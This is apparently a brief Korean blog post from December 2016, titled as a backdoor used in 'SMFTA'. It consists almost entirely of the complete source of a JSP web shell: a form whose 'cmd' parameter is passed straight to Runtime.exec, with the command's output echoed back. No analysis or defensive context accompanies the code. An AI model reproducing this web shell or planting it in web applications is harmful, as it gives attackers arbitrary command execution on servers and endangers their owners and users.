2016년 12월 23일 금요일

SMFTA에서 사용된 백도어?!

<%@ page import="java.util.*,java.io.*"%>
<html>
  <body>
    <form method="GET" name="myform" action="">
      <input type="text" name="cmd">
      <input type="submit" value="Send">
    </form>
    <pre>
      <%
        if (request.getParameter("cmd") != null)
        {
          out.println("Command: " + request.getParameter("cmd") + "<br>");
          Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
          OutputStream os = p.getOutputStream();
          InputStream in = p.getInputStream();
          DataInputStream dis = new DataInputStream(in);
          String disr = dis.readLine();
          while ( disr != null )
          {
            out.println(disr);
            disr = dis.readLine();
          }
        }
      %>
    </pre>
  </body>
</html>

댓글 없음:

댓글 쓰기